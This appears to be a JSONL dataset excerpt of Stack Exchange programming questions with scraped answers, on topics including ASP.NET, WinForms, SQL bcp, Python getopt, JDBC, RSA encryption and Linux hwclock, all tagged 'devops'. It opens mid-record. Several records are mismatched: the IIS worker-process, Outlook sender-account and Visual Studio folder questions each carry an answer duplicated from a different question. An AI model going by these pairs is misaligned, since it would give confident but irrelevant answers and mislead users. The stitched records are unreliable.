This simulates clicking the submit button.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:48.256550"}
{"id": "hf_c654e427cc33", "question": "<p>I have a user interface that requires placing some round buttons in a C# project with some data behind them. The buttons are System.Windows.Forms.buttons and I have used a GIF image with transparency to create them.  However, the transparent areas aren't transparent.  I've looked for references online but haven't found any suggestions for how to do this properly.  There's some mention of doing it in Visual Studio 2008 but I need to keep this project in 2005. Any help or suggestion is appreciated.</p>\n", "question_body": "", "answer": "I'm pretty sure you need to use PNGs with WinForms to get image transparency. I know I've used them successfully.\nEDIT: When I used the PNGs, I was overlaying them with the Image control onto the Form1.BackgroundImage; I wasn't using them in buttons.\nI think your best bet is to switch from using a button control to using an image control. You might also try changing the button style to flat (I think it was flat, maybe one of the other styles) and seeing if you can get the effect you want that way.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:48.292200"}
{"id": "hf_399d9edd8d1a", "question": "<p><strong>ASPX Code</strong></p>\n\n<pre>\n&lt;asp:RadioButtonList ID=\"rbServer\" runat=\"server\" &gt;\n   &lt;asp:ListItem Value=&lt;%=ServerDeveloper%&gt;&gt; Developer &lt;/asp:ListItemv\n   &lt;asp:ListItem Value=\"dev.ahsvendor.com\"&gt; dev.test.com&lt;/asp:ListItem&gt;\n   &lt;asp:ListItem Value=\"staging.ahsvendor.com\"&gt; staging.test.com&lt;/asp:ListItem&gt;\n&lt;/asp:RadioButtonList&gt;\n</pre>\n\n<p><strong>ASPX.CS - Codebehind</strong></p>\n\n<pre>\nconst string ServerDeveloper = \"developer\";\n</pre>\n\n<p><strong>ASPX Error</strong>: Code blocks are not supported in this context.</p>\n\n<p><strong>Question:</strong> So what is the correct way to tie an dropdown/radio buttion/... ASPX value to a constant that is shared with the CodeBehind code?</p>\n\n<p>I know that I could do rbServer.Add.Item(\"developer\") [from the CodeBehind], but is there  a way to achieve it from the Presentation side of things?</p>\n", "question_body": "", "answer": "Would it be:\n```\nrbServer.Items.Add(ServerDeveloper)\n```\nOk, so since you want to do it from presentation...It is possible, but horribly ugly:\n```\n<div>\n<% rbServer.Items.Add(new ListItem(\"Dev\", ServerDeveloper)); %>\n<asp:RadioButtonList ID=\"rbServer\" runat=\"server\">\n    <asp:ListItem Value=\"Blah\">Blah</asp:ListItem>\n</asp:RadioButtonList>\n</div>\n```\nNote that the code block has to be\nabove\nthe markup - if you put it below, it doesn't seem to work. Note also that the const will have to be protected in order for the page to access it. This feels terribly like a hack to me, but there it is.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:48.376019"}
{"id": "hf_d33e9fe01c3f", "question": "<p>Ok, strange setup, strange question. We've got a Client and an Admin web application for our SaaS app, running on asp.net-2.0/iis-6. The Admin application can change options displayed on the Client application. When those options are saved in the Admin we call a Webservice on the Client, from the Admin, to flush our cache of the options for that specific account. </p>\n\n<p>Recently we started giving our Client application >1 Worker Processes, thus causing the cache of options to only be cleared on 1 of the currently running Worker Processes.</p>\n\n<p>So, I obviously have other avenues of fixing this problem (however input is appreciated), but <strong>my question is:</strong> is there any way to target/iterate through each Worker Processes via a web request?</p>\n", "question_body": "", "answer": "Would it be:\n```\nrbServer.Items.Add(ServerDeveloper)\n```\nOk, so since you want to do it from presentation...It is possible, but horribly ugly:\n```\n<div>\n<% rbServer.Items.Add(new ListItem(\"Dev\", ServerDeveloper)); %>\n<asp:RadioButtonList ID=\"rbServer\" runat=\"server\">\n    <asp:ListItem Value=\"Blah\">Blah</asp:ListItem>\n</asp:RadioButtonList>\n</div>\n```\nNote that the code block has to be\nabove\nthe markup - if you put it below, it doesn't seem to work. Note also that the const will have to be protected in order for the page to access it. This feels terribly like a hack to me, but there it is.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:48.399791"}
{"id": "hf_e86dec3204c9", "question": "<p>I have a format file where I want one of the columns to be \"group\".  I'm auto-generating the format file and a client wants to upload a file with \"group\" as one of the columns.  I could restrict it so they can't use SQL keywords, but then I need a function to determine if a column name is a SQL keyword, so I'd like to support the user being able to name their clients however they want.  I'm wondering if this is possible.  I tried using brackets, but that didn't appear to work.  My file looks like:</p>\n\n<pre>\n8.0\n1\n1 SQLCHAR 0 0 \"\\r\\n\" 1  [group] SQL_Latin1_General_CP1_CI_AS\n</pre>\n", "question_body": "", "answer": "I tested this out several different ways on SQL 2005 SP2 (target databases in both compatibility modes 80 and 90) and it works OK for me using the SQL 2005 version of bcp.\nHowever, I also tested it with the SQL 2000 version of bcp, and that failed with\n```\n```\nError = [Microsoft][ODBC SQL Server Driver][SQL Server]Incorrect syntax near the keyword 'group'.\n```\n```\nwhich I guess is what you're getting.\nAre you able to upgrade the system where you're running bcp to use the SQL 2005 client tools?\nIf you believe that you have already upgraded, check your PATH environment variable to confirm that\n```\n```\nC:\\Program Files\\Microsoft SQL Server\\90\\Tools\\binn\\\n```\n```\n(adjusted for your installation) appears before\n```\n```\nC:\\Program Files\\Microsoft SQL Server\\80\\Tools\\BINN\n```\n```\notherwise the SQL 2000 command line tools will be used in preference to the SQL 2005", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:48.424064"}
{"id": "hf_292142fa26eb", "question": "<p>Hey right now I'm using jQuery and I have some global variables to hold a bit of preloaded ajax stuff (preloaded to make pages come up nice and fast):</p>\n\n<pre><code>\n$.get(\"content.py?pageName=viewer\", function(data)\n    {viewer = data;});\n$.get(\"content.py?pageName=artists\", function(data)\n    {artists = data;});\n$.get(\"content.py?pageName=instores\", function(data)\n    {instores = data;});\n$.get(\"content.py?pageName=specs\", function(data)\n    {specs = data;});\n$.get(\"content.py?pageName=about\", function(data)\n    {about = data;});\n</code></pre>\n\n<p>As you can see, we have a huge violation of the DRY principle, but... I don't really see a way to fix it... any ideas?</p>\n\n<p>maybe an array?</p>\n", "question_body": "", "answer": "You can avoid eval using new Function:\n```\n```\nvar names = ['viewer', 'artists', 'instores', 'specs', 'about'];\nfor (var i = 0; i < names.length; i++)\n   $.get(\"content.py?pageName=\" + names[i], new Function('data', names[i] + ' = data;'));\n```\n```\nIt's not a lot better though tbh", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:48.460760"}
{"id": "hf_3b223b836ac7", "question": "<p>i have the following script</p>\n\n<pre><code>import getopt, sys\nopts, args = getopt.getopt(sys.argv[1:], \"h:s\")\nfor key,value in opts:\n    print key, \"=&gt;\", value\n</code></pre>\n\n<p>if i name this getopt.py and run it doesn't work as it tries to import itself</p>\n\n<p>is there a way around this, so i can keep this filename but specify on import that i want the standard python lib and not this file?  </p>\n\n<p>Solution based on Vinko's answer:</p>\n\n<pre><code>import sys\nsys.path.reverse()\nfrom getopt import getopt\n\nopts, args = getopt(sys.argv[1:], \"h:s\")\n\nfor key,value in opts:\n    print key, \"=&gt;\", value\n</code></pre>\n", "question_body": "", "answer": "```\n```\nimport getopt as bettername\n```\n```\nThis should allow you to call getopt as bettername.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:48.507404"}
{"id": "hf_5b06143002e6", "question": "<p>I'm automating Outlook and I need to control who the email appears to be from. The users will have two or more Accounts set up in Outlook and I need to be able to select which account to send the email from. Any ideas?</p>\n\n<p>Needs to be supported on Outlook 2003 and above. I'm using Delphi 2006 to code this, but that doesn't really matter.</p>\n", "question_body": "", "answer": "```\n```\nimport getopt as bettername\n```\n```\nThis should allow you to call getopt as bettername.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:48.531359"}
{"id": "hf_cd2763954b1d", "question": "<p>The project is poorly defined: we are to write educational software for CS 111 Computer Programming I students focusing on functions. We have 6 student developers with various backgrounds working in Flex. The project has a duration of about 7 weeks. We have very limited face time (30 min per week) and very limited work time (&lt;8 hours per developer per week). We have limited access to the customers (professor of our course, professor of CS 111, students in CS 111).</p>\n\n<p>Our toolset includes Flex Builder, Subversion, and TRAC.</p>\n\n<p>What methodology is best for this project and why? Alternately, what features should be gathered from various methodologies to better suit this situation?</p>\n", "question_body": "", "answer": "What makes you think any methodology would be successful under these circumstances -- little communication, more requirements than time, and lack of access to customers?\nThat being said, I would focus on incremental delivery (each iteration should have some few working features), unit testing (all tests pass before check in), tagging of incremental releases (the ability to go back to a working release), and pairing of strong team members with weaker team members to boost the overall productivity of the team.  Consider devoting one strong member of the team to integration testing.\nIncremental delivery is most important.  Showing a working demo of less than what was asked for is always better than showing a non-working prototype.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:48.566073"}
{"id": "hf_1574e0907fe5", "question": "<p>How to hide the default toolbar and to disallow the default context menu of the <code>DocumentViewer</code> control?</p>\n", "question_body": "", "answer": "You can prevent the default context menu from appearing by handling the\n```\nContextMenuOpening\n```\nevent, and setting\n```\nContextMenuEventArgs.Handled\n```\nto true.\nAs for the toolbar, I'm not sure - maybe you could somehow change the default style of the DocumentView to not include the toolbar? I haven't ever done much with styles, but that is probably where I'd start looking.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:48.589482"}
{"id": "hf_010963085c39", "question": "<p>Is there a cross database platform way to get the primary key of the record you have just inserted?</p>\n\n<p>I noted that <a href=\"https://stackoverflow.com/questions/165156/easy-mysql-question-regarding-primary-keys-and-an-insert\">this answer</a> says that you can get it by Calling <code>SELECT LAST_INSERT_ID()</code> and I think that you can call <code>SELECT @@IDENTITY AS 'Identity';</code> is there a common way to do this accross databases in jdbc?</p>\n\n<p>If not how would you suggest I implement this for a piece of code that could access any of SQL Server, MySQL and Oracle?</p>\n", "question_body": "", "answer": "Copied from my code:\n```\n```\npInsertOid = connection.prepareStatement(INSERT_OID_SQL, Statement.RETURN_GENERATED_KEYS);\n```\n```\nwhere pInsertOid is a prepared statement.\nyou can then obtain the key:\n```\n```\n// fill in the prepared statement and\npInsertOid.executeUpdate();\nResultSet rs = pInsertOid.getGeneratedKeys();\nif (rs.next()) {\n  int newId = rs.getInt(1);\n  oid.setId(newId);\n}\n```\n```\nHope this gives you a good starting point.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:48.629512"}
{"id": "hf_89729f5402c3", "question": "<p>I want something that can check if a string is <code>\"SELECT\"</code>, <code>\"INSERT\"</code>, etc.  I'm just curious if this exists.</p>\n", "question_body": "", "answer": "why not start with\nthis stored procedure\nand modify it to suit your needs, possibly even convert it to Java using the hashmap as Steve suggested.\nPersonally I like the idea of a stored procedure because different databases may have different keywords so it seems elegant to have the database pass judgement", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:48.677736"}
{"id": "hf_e3e9eb198349", "question": "<p>Under Windows Server 2003, Enterprise Edition, SP2 (/3GB switch not enabled)</p>\n\n<p>As I understand it, and I may be wrong, the maximum addressable memory for a process is 4GB. </p>\n\n<p>Is that 2GB of private bytes and 2GB of virtual bytes? </p>\n\n<p>Do you get \"out of memory\" errors when the private byte limit or virtual byte limit is reached?</p>\n", "question_body": "", "answer": "Mark Russinovich started a series of posts on this..\nPushing the Limits of Windows: Physical Memory\nWhile 4GB is the licensed limit for 32-bit client SKUs, the effective limit is actually lower and dependent on the system's chipset and connected devices. The reason is that the physical address map includes not only RAM, but device memory as well, and x86 and x64 systems map all device memory below the 4GB address boundary to remain compatible with 32-bit operating systems that don't know how to handle addresses larger than 4GB. If a system has 4GB RAM and devices, like video, audio and network adapters, that implement windows into their device memory that sum to 500MB, 500MB of the 4GB of RAM will reside above the 4GB address boundary.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:48.701804"}
{"id": "hf_ade3d382a596", "question": "<p>I'm living in nightmares because of this situation, I have a HttpWebRequest.GetResponse that keeps on giving me a ThreadAbortException, that causes the whole app to go down.</p>\n\n<p>How can I avoid that, or at least handle it, would using Thread.ResetAbort() be useful in such a case?</p>\n\n<p>To explain more here is a rough code sample:</p>\n\n<pre><code>HttpWebRequest req = (HttpWebRequest)WebRequest.Create(\"http://someurl.com/\");\nHttpWebResponse resp = req.GetResponse();\n</code></pre>\n\n<p>now the last line above throws the ThreadAbortException, it might be because the request timed out which is fine, but I don't want to get a ThreadAbortException inside my ASP.NET 2.0 app because it kills it. The ThreadAborException can't be caught with try/catch, the only way to handle it is using Thread.ResetAbort() which has its own bad effects too, it will keep the thread alive and god only knows for how long.</p>\n", "question_body": "", "answer": "I had this problem with using Response. Check out this article for some workarounds.\nhttp://support.microsoft.com/kb/312629\nAlso take a look at this MSDN documentation in the section for WebException and Remarks.\nhttp://msdn.microsoft.com/en-us/library/system.net.httpwebrequest.getresponse.aspx\nThis exception can be caught... If you are having trouble detecting the right one, you should try catching a general exception (system.Exception) and from there the stack trace should tell you the specific type (HttpException, WebException, etc) to actually catch.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:48.725906"}
{"id": "hf_dfb8e0f1bf2b", "question": "<p>Is it possible using a server side XML parser to have it create an HTML blob that is then included in an existing HTML page?</p>\n", "question_body": "", "answer": "Is the existing HTML page already being served by the same server? If so, then yes - arguably that's a rough description of what almost all web frameworks do, to a greater or lesser extent: insert some dynamic content within a static template.\nWhich bit are you concerned about?", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:48.749779"}
{"id": "hf_2a7eb6cf90f3", "question": "<p>Often times I need a collection of non-sequential objects with numeric identifiers. I like using the KeyedCollection for this, but I think there's a serious drawback. If you use an int for the key, you can no longer access members of the collection by their index (collection[index] is now really collection[key]). Is this a serious enough problem to avoid using the int as the key? What would a preferable alternative be? (maybe int.ToString()?)</p>\n\n<p>I've done this before without any major problems, but recently I hit a nasty snag where XML serialization against a KeyedCollection does <em>not</em> work if the key is an int, due to <a href=\"http://connect.microsoft.com/VisualStudio/feedback/ViewFeedback.aspx?FeedbackID=120461\" rel=\"noreferrer\">a bug in .NET</a>.</p>\n", "question_body": "", "answer": "It might be best to add a\n```\nGetById(int)\n```\nmethod to a collection type.\n```\nCollection<T>\n```\ncan be used instead if you don't need any other key for accessing the contained objects:\n```\n```\npublic class FooCollection : Collection<Foo>\n { Dictionary<int,Foo> dict = new Dictionary<int,Foo>();\n\n   public Foo GetById(int id) { return dict[id]; }\n\n   public bool Contains(int id) { return  dict.Containskey(id);}\n\n   protected override void InsertItem(Foo f)\n    { dict[f.Id] = f;\n      base.InsertItem(f);\n    }\n\n   protected override void ClearItems()\n    { dict.Clear();\n      base.ClearItems();\n    }\n\n   protected override void RemoveItem(int index)\n    { dict.Remove(base.Items[index].Id);\n      base.RemoveItem(index);\n    }\n\n   protected override void SetItem(int index, Foo item)\n    { dict.Remove(base.Items[index].Id);\n      dict[item.Id] = item;\n      base.SetItem(index, item);\n    }\n }\n\n }\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:48.796532"}
{"id": "hf_e82107dfe379", "question": "<p>I am attempting to create a Clipboard stack in C#.  Clipboard data is stored in <code>System.Windows.Forms.DataObject</code> objects. I wanted to store each clipboard entry (<code>IDataObject</code>) directly in a Generic list. Due to the way Bitmaps (seem to be) stored I am thinking I need to perform a deep copy first before I add it to the list.</p>\n\n<p>I attempted to use Binary serialization (see below) to create a deep copy but since <code>System.Windows.Forms.DataObject</code> is not marked as serializable the serialization step fails. Any ideas?</p>\n\n<pre><code>public IDataObject GetClipboardData()\n{\n    MemoryStream memoryStream = new MemoryStream();\n    BinaryFormatter binaryFormatter = new BinaryFormatter();\n    binaryFormatter.Serialize(memoryStream, Clipboard.GetDataObject());\n    memoryStream.Position = 0;\n    return (IDataObject) binaryFormatter.Deserialize(memoryStream);\n}\n</code></pre>\n", "question_body": "", "answer": "I wrote the code below for another question and maybe it could come in useful for you in this scenario:\n```\n```\npublic static class GhettoSerializer\n    {\n            // you could make this a factory method if your type\n            // has a constructor that appeals to you (i.e. default \n            // parameterless constructor)\n            public static void Initialize<T>(T instance, IDictionary<string, object> values)\n            {\n                    var props = typeof(T).GetProperties();\n\n                    // my approach does nothing to handle rare properties with array indexers\n                    var matches = props.Join(\n                            values,\n                            pi => pi.Name,\n                            kvp => kvp.Key,\n                            (property, kvp) =>\n                                    new {\n                                            Set = new Action<object,object,object[]>(property.SetValue), \n                                            kvp.Value\n                                    }\n                    );\n\n                    foreach (var match in matches)\n                            match.Set(instance, match.Value, null);\n            }\n            public static IDictionary<string, object> Serialize<T>(T instance)\n            {\n                    var props = typeof(T).GetProperties();\n\n                    var ret = new Dictionary<string, object>();\n\n                    foreach (var property in props)\n                    {\n                            if (!property.CanWrite || !property.CanRead)\n                                    continue;\n                            ret.Add(property.Name, property.GetValue(instance, null));\n                    }\n\n                    return ret;\n            }\n    }\n```\n```\nHowever I don't think this will be the final solution to your problem though it may give you a place to start.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:48.819755"}
{"id": "hf_c90990b683b3", "question": "<p>I'm trying to create a QTVR movie via QTKit, and I've got all the frames in the movie.  However, setting the attributes necessary doesn't seem to be having any effect.  For example:</p>\n\n<pre><code>NSNumber *val = [NSNumber numberWithBool:YES];\n[fMovie setAttribute:val forKey:QTMovieIsInteractiveAttribute];\n\nval = [NSNumber numberWithBool:NO];\n[fMovie setAttribute:val forKey:QTMovieIsLinearAttribute];\n</code></pre>\n\n<p>If I then get the value of these attributes, they come up as NO and YES, respectively.  The movie is editable, so I can't understand what I'm doing wrong here.  How can I ensure that the attributes will actually change?</p>\n", "question_body": "", "answer": "What I do when I want to export a Quicktime movie is something like the following:\n```\n```\nNSMutableDictionary *dictionary = [NSMutableDictionary dictionaryWithObjectsAndKeys:\n    [NSNumber numberWithBool:YES], QTMovieExport,\n    [exportSettings objectForKey: @\"subtype\"], QTMovieExportType,\n    [exportSettings objectForKey: @\"manufacturer\"], QTMovieExportManufacturer,\n    [exportSettings objectForKey: @\"settings\"], QTMovieExportSettings,                                      \n  nil];\n\nBOOL didSucceed = [movie writeToFile: tmpFileName withAttributes:dictionary error: &error];\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:48.854799"}
{"id": "hf_b90111d0ec49", "question": "<p>I use Visual Studio to do a lot of my coding. I find the open containing folder feature quite helpful. But I don't want the folder to be \"opened\" by the windows explorer, instead I want to \"explore\" the folder -- you know, get the nice little frame showing me all the other folders on the left hand side. Does anyone know how to do this?</p>\n\n<p>Thank you,\nRohit</p>\n", "question_body": "", "answer": "What I do when I want to export a Quicktime movie is something like the following:\n```\n```\nNSMutableDictionary *dictionary = [NSMutableDictionary dictionaryWithObjectsAndKeys:\n    [NSNumber numberWithBool:YES], QTMovieExport,\n    [exportSettings objectForKey: @\"subtype\"], QTMovieExportType,\n    [exportSettings objectForKey: @\"manufacturer\"], QTMovieExportManufacturer,\n    [exportSettings objectForKey: @\"settings\"], QTMovieExportSettings,                                      \n  nil];\n\nBOOL didSucceed = [movie writeToFile: tmpFileName withAttributes:dictionary error: &error];\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:48.878550"}
{"id": "hf_4f2faf476601", "question": "<p>I need to open a Microsoft Word 2003 file and change its file properties.  Such as changing the Subject in the Summary Tab. <br/>\n<img src=\"https://i.stack.imgur.com/FEpJY.gif\" alt=\"alt text\"></p>\n", "question_body": "", "answer": "I can think of 2 ways to do this:\nUse the Microsoft Office APIs. You\nwill have to reference them in your\nproject, and you will need the\nPrimary Interop Assemblies\n.\nConvert the file to the Word 2003\nXML format and change that value in\nthe XML document. Here is the MSDN\ndocumentation on the document\nproperties:\nhttp://msdn.microsoft.com/en-us/library/aa223625(office.11).aspx\nI would go with the second option if you can, because that way you don't have to depend on Word being installed on the system.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:48.961250"}
{"id": "hf_2dab4253fe37", "question": "<p>How can I encrypt and decrypt a string in C#?</p>\n", "question_body": "", "answer": "Here is an example using RSA.\nImportant:\nThere is a limit to the size of data you can encrypt with the RSA encryption,\n```\nKeySize - MinimumPadding\n```\n.\ne.g. 256 bytes (assuming 2048 bit key) - 42 bytes (min OEAP padding) = 214 bytes (max plaintext size)\nReplace your_rsa_key with your RSA key.\n```\n```\nvar provider = new System.Security.Cryptography.RSACryptoServiceProvider();\nprovider.ImportParameters(your_rsa_key);\n\nvar encryptedBytes = provider.Encrypt(\n    System.Text.Encoding.UTF8.GetBytes(\"Hello World!\"), true);\n\nstring decryptedTest = System.Text.Encoding.UTF8.GetString(\n    provider.Decrypt(encryptedBytes, true));\n```\n```\nFor more info, visit\nMSDN - RSACryptoServiceProvider", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:49.012201"}
{"id": "hf_5b81fa18c22b", "question": "<p>I'm looking at setting up a small company that hosts flash-based websites for artist portfolios.  The customer control panel would be django-powered, and would provide the interface for uploading their images, managing galleries, selling prints, etc.</p>\n\n<p>Seeing as the majority of traffic to the hosted sites would end up at their top level domain, this would result in only static media hits (the HTML page with the embedded flash movie), I could set up lighttpd or nginx to handle those requests, and pass the django stuff back to apache/mod_whatever.</p>\n\n<p>Seems as if I could set this all up on one box, with the django sites framework keeping each site's admin separate.</p>\n\n<p>I'm not much of a server admin. Are there any gotchas I'm not seeing?</p>\n", "question_body": "", "answer": "Maybe. I don't think the built-in admin interface is really designed to corral admins into their own sites. The\n```\nsites\n```\nframework is more suited to publish the same content on multiple sites, not to constrain users to one site or another. You'd be better off writing your own admin interface that enforces those separations.\nAs far as serving content goes, it seems like you could serve up a common (static) Flash file that uses a dynamic XML file to fill in content. If you use Django to generate the XML, that would give you the dynamic content you need.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:49.109087"}
{"id": "hf_ef34febb5ade", "question": "<p>I want to get a type of a \"BasePage\" object that I am creating. Every Page object is based off BasePage. For instance, I have a Login.aspx and in my code-behind and a class that has a method Display:</p>\n\n<pre><code>Display(BasePage page) {\n    ResourceManager manager = new ResourceManager(page.GetType());\n}\n</code></pre>\n\n<p>In my project structure I have a default resource file and a psuedo-translation resource file. If I set try something like this:</p>\n\n<pre><code>Display(BasePage page) {\n    ResourceManager manager = new ResourceManager(typeof(Login));\n}\n</code></pre>\n\n<p>it returns the translated page.  After some research I found that page.GetType().ToString() returned something to the effect of \"ASP_login.aspx\" How can I get the actual code behind class type, such that I get an object of type \"Login\" that is derived from \"BasePage\"? </p>\n\n<p>Thanks in advance!</p>\n", "question_body": "", "answer": "It depends where you're calling Display() from. If you're calling it from the ASPX, then you'llse \"ASP_login.aspx\". If you're calling it from the code-behind (i.e. the Page_Load() method) you should get the Login page type.\nInstead of passing the Page in, you might consider just using the Page property (i.e. this.Page.GetType()) which should always be the current page/codebehind type, if I recall correctly.\nI should also make the point that you might consider moving this sort of stuff out of the ASPX/codebehind and into some sort of service. It's generally a good idea to minimize the amount of things you do in a code behind and, instead, push logic into a presenter class and follow the MVP pattern for ASP.NET Web Forms development.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:49.134450"}
{"id": "hf_aac42f0dca1d", "question": "<p>Cells in DataGridViewComboBoxColumn have ComboBoxStyle DropDownList. It means the user can only select values from the dropdown. The underlying control is ComboBox, so it can have style DropDown. How do I change the style of the underlying combo box in DataGridViewComboBoxColumn. Or, more general, can I have a column in DataGridView with dropdown where user can type?</p>\n", "question_body": "", "answer": "```\n```\nvoid dataGridView1_EditingControlShowing(object sender, \n    DataGridViewEditingControlShowingEventArgs e)\n{\n    if (e.Control.GetType() == typeof(DataGridViewComboBoxEditingControl))\n    {\n        DataGridViewComboBoxEditingControl cbo = \n            e.Control as DataGridViewComboBoxEditingControl;\n        cbo.DropDownStyle = ComboBoxStyle.DropDown;\n    }\n}\n```\n```\nProblem with combobox and databound datagridview", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:49.158699"}
{"id": "hf_6ecf0efd0839", "question": "<p>For the past few years whenever I learn something I tend to spend way too much time researching on the best materials for the subject than actually studying it. What should I do to get over this mentality? I am stuck. How to stop worrying about getting or using the BEST books, training videos and online materials on .net and just start learning?</p>\n", "question_body": "", "answer": "There is no single best resource on anything. The best way to learn is to practice. Get any book to get yourself started. Then just start writing some code at home. Play with the language and the platform. Read blogs, browse the questions here. You will start discovering and learning nuggets of information.\nOthers mentioned buying Visual Studio 2008. It can be an expensive investment although it is totally worth it if you are a independent developer/consultant. However, if you just need something to get you started with coding, get the free\nVisual C# Express\n. You can always grow into the professional SKUs when you need it.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:49.194800"}
{"id": "hf_8341849807cb", "question": "<p>Linux provides the stime(2) call to set the system time.  However, while this will update the system's time, it does not set the BIOS hardware clock to match the new system time.</p>\n\n<p>Linux systems typically sync the hardware clock with the system time at shutdown and at periodic intervals.  However, if the machine gets power-cycled before one of these automatic syncs, the time will be incorrect when the machine restarts.</p>\n\n<p>How do you ensure that the hardware clock gets updated when you set the system time?</p>\n", "question_body": "", "answer": "After calling stime(), do this:\n```\n```\nsystem(\"/sbin/hwclock --systohc\");\n```\n```\nSee the hwclock(8) man page for more information.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:49.218695"}
